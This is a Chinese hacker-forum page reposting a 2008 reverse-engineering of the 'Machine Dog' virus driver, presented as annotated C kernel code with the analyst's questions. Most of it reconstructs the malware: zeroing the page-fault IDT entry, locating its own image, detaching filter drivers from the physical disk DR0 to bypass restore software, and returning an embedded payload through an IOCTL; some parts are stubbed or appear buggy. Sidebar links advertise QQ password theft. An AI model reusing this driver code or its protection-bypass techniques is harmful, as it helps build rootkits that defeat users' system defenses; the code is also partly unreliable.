设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 编程世界 -> VCC文章 -> 文章内容 [站内搜索]  

 
“机器狗”病毒驱动部分逆向分析注释(C代码)
作者:不详  来源:网络  发布时间:2008-3-22 9:27:09  发布人:www.hack86.com
“机器狗”病毒驱动部分逆向分析注释(C代码) 
 

<-- ad --> 
/*
标 题: 【原创】“机器狗”病毒驱动部分逆向分析注释(C代码)
作 者: dream2fly(QQ:838468959)
时 间: 2008.03.13 于深圳科技园
链 接; http://www.dream2fly.net
版 本: 1.0

【软件名称】: 机器狗(病毒)
【下载地址】: http://www.dream2fly.net ;或 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM
【使用工具】: IDA
【操作平台】: win2003
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

*/ 
#include <ntddk.h> // various NT definitions

#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0"
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0"
#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize;

typedef struct _idtr
{
 //定义中断描述符表的限制,长度两字节;
 short IDTLimit;
 //定义中断描述服表的基址,长度四字节;
 unsigned int IDTBase;
}IDTR,*PIDTR;

typedef struct _idtentry
{
 //中断执行代码偏移量的底16位;
 unsigned short OffsetLow;
 //选择器,也就是寄存器;
 unsigned short Selector;
 //保留位,始终为零;
 unsigned char Reserved;
 //IDT中的门的类型:包括中断门,陷阱门和任务门;
 unsigned char Type:4;
 //段标识位;
 unsigned char SegmentFlag:1;
 //中断门的权限等级,0表示内核级,3表示用户级;
 unsigned char DPL:2;
 //呈现标志位;
 unsigned char Present:1;
 //中断执行代码偏移量的高16位;
 unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault

VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
 int INT_09_Address_High8;
 int INT_0E_Address_High8;
 unsigned long OldISR_09;
 unsigned long OldISR_0E;

 //保存IDT入口的基地址和限制信息的数据结构;
 IDTR idtr;//store interrupt descript table register. to idtr

 //记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
 PIDTENTRY IdtEntry;

 //汇编指令sidt,获取IDT入口信息;
 __asm sidt idtr

 //赋予IDT基地址值;
 IdtEntry = (PIDTENTRY)idtr.IDTBase;

 //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用
 OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);

 INT_09_Address_High8 = OldISR_09&0x0FF000000;

 /*
 这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
 有知道的大侠告诉我dream2fly(QQ:838468959)
 sub eax, eax
 jz short FunctionExit
 难道是?
 if (INT_09_Address_High8 == 0)
 return;
 */

 //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
 OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);

 INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

 if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
 { 
 //关中断
 __asm cli
 
 IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?
 
 //开中断
 __asm sti
 }
}

/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
 VOID* pSelfImage = NULL;
 VOID* pCurAddr = NULL;
 VOID* pTmpAddr = NULL;

// loc_40045F:这个取当前地址用C怎么写?
//028 lea ebx, loc_40045F
//028 and ebx, 0FFFFFC00h

 //pSelfImage如何取?

 while(MmIsAddressValid(pSelfImage))
 {
 if ((unsigned long)pSelfImage <= 0x80000000)
 return NULL;

 if (RtlEqualMemory(pSelfImage, "MZ", 2))
 {
 pCurAddr = pSelfImage;
 pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
 (unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

 if (!MmIsAddressValid(pCurAddr))
 return NULL;

 if (RtlEqualMemory(pCurAddr, "PE", 2))
 return pSelfImage;
 }

 (unsigned long)pSelfImage -= 0x400;//-1024K
 }
 
 return NULL;
}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
 // 有空再补上:)

 return 0;
}
//
// Device driver routine declarations.
//

NTSTATUS
DriverEntry(
 IN OUT PDRIVER_OBJECT DriverObject,
 IN PUNICODE_STRING RegistryPath
 );

NTSTATUS
CommonDispatch(
 IN PDEVICE_OBJECT DeviceObject,
 IN PIRP Irp
 );

VOID
Unload(
 IN PDRIVER_OBJECT DriverObject
 );

NTSTATUS
DriverEntry(
 IN OUT PDRIVER_OBJECT DriverObject,
 IN PUNICODE_STRING RegistryPath
 )
{
 NTSTATUS ntStatus;
 CHAR* pResData = NULL;
 ANSI_STRING SourceString;
 PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
 UNICODE_STRING SymbolicLinkName; 
 UNICODE_STRING DeviceName; 
 VOID* pSelfImage;
 PDEVICE_OBJECT cur_device_object;
 PDEVICE_OBJECT next_device_object;

 CheckIdt();

 pSelfImage = SearchSelf();
 if (pSelfImage == NULL)
 return -1;

 g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
 if (g_ResDataSize == 0)
 {
 return -1;
 }

 g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
 // 跳转到下条指令,延时 jmp short $+2

 RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

 DriverObject->DriverUnload = Unload;
 DriverObject->MajorFunction[IRP_MJ_CREATE] =
 DriverObject->MajorFunction[IRP_MJ_CLOSE] =
 DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

 // 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
 RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
 RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

 RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
 RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
 
 ntStatus = IoCreateDevice(
 DriverObject, // Our Driver Object
 0, // We don’t use a device extension
 &DeviceName, 
 FILE_DEVICE_NULL, // Device type
 0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
 FALSE, // Not an exclusive device
 &DeviceObject ); // Returned ptr to Device Object

 if ( !NT_SUCCESS( ntStatus ) )
 {
 goto End;
 }

 ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

 if ( !NT_SUCCESS( ntStatus ) )
 {
 cur_device_object = DriverObject->DeviceObject;

 while (cur_device_object)
 {
 next_device_object = DeviceObject->NextDevice;
 IoDeleteDevice(cur_device_object);
 cur_device_object = next_device_object;
 }
 }

End:
 RtlFreeUnicodeString(&DeviceName);
 RtlFreeUnicodeString(&SymbolicLinkName);

 return STATUS_SUCCESS;
}

VOID
Unload(
 IN PDRIVER_OBJECT DriverObject
 )
{
 ANSI_STRING SourceString;
 PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
 UNICODE_STRING SymbolicLinkName; 
 PDEVICE_OBJECT cur_device_object;
 PDEVICE_OBJECT next_device_object;

 if (g_ResData)
 {
 ExFreePool(g_ResData);
 }

 if (DriverObject)
 {
 RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
 RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

 IoDeleteSymbolicLink(&SymbolicLinkName);
 RtlFreeUnicodeString(&SymbolicLinkName);

 cur_device_object = DriverObject->DeviceObject;

 while (cur_device_object)
 {
 next_device_object = DeviceObject->NextDevice;
 IoDeleteDevice(cur_device_object);
 cur_device_object = next_device_object;
 }
 }
}

NTSTATUS
CommonDispatch(
 IN PDEVICE_OBJECT DeviceObject,
 IN PIRP Irp
 )
{
 PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
 PFILE_OBJECT DRO_FileObject;
 ANSI_STRING SourceString;
 UNICODE_STRING DRO_DeviceName; 

 PIO_STACK_LOCATION irpSp;// Pointer to current stack location
 NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
 ULONG inBufLength; // Input buffer length
 ULONG outBufLength; // Output buffer length

 Irp->IoStatus.Status = STATUS_SUCCESS;
 Irp->IoStatus.Information = 0;

 irpSp = IoGetCurrentIrpStackLocation( Irp );
 inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
 outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

 if(!inBufLength || !outBufLength)
 {
 ntStatus = STATUS_INVALID_PARAMETER;
 goto End;
 }

 switch ( irpSp->MajorFunction )
 {
 case IRP_MJ_CREATE:
 RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
 RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

 IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
 g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

 //保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
 if (DRO_FileObject->DeviceObject->AttachedDevice)
 {
 g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
 DRO_FileObject->DeviceObject->AttachedDevice= NULL;
 }

 ObDereferenceObject(DRO_FileObject);

 RtlFreeUnicodeString(&DRO_DeviceName);

 break;
 case IRP_MJ_CLOSE:
 if (g_DR0_DeviceObject)
 {
 if (g_OldAttachedDeviceOfDR0)
 {
 g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
 }
 }

 break;
 case IRP_MJ_DEVICE_CONTROL:
 if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
 {
 if (outBufLength < g_ResDataSize)
 goto End;

 // 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
 // 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
 // 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
 RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

 Irp->IoStatus.Information = g_ResDataSize;
 }
 else
 {
 ntStatus = STATUS_INVALID_DEVICE_REQUEST;
 }

 break;

 default:

 //
 // The specified I/O control code is unrecognized by this driver.
 //

 ntStatus = STATUS_INVALID_DEVICE_REQUEST;
 break;
 }

End:
 //
 // Finish the I/O operation by simply completing the packet and returning
 // the same status as in the packet itself.
 //

 Irp->IoStatus.Status = ntStatus;

 IoCompleteRequest( Irp, IO_NO_INCREMENT );

 return ntStatus;

[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

  ·“机器狗”病毒驱..
“机”情无限 尊贵体..


 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
不用木马,轻松万能偷daoQQ号码
最新QQ空间4.0全屏版效果图!!
新免蟆Q秀,刷红钻的方法
黑客快速入门(强烈推荐)
QQ密码本地破解的原理和方法
18岁少女欲6000元卖处女身 救患血..
8款QQ空间免费开场动画
免费QQ蓝钻体验(附考试答案)
 
设置Web邮箱黑客警报器 防止财务.. 04-11
二行代码解决全部网页木马(含ifr.. 04-11
防止黑客根据PHP中的错误信息爆路.. 04-11
webshell下查找所有IIS站点配置... 04-11
终级win2003服务器安全配置篇! 04-11
解决“网际快车”和“迅雷”右键.. 04-11
英国电信(BT)被指监视36000余名互.. 04-11
用命令行开启或关闭 IP 安全策略.. 04-11
Firefox2狂占CPU解决办法 04-11
大水牛下载者手工清除的方法 04-11
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com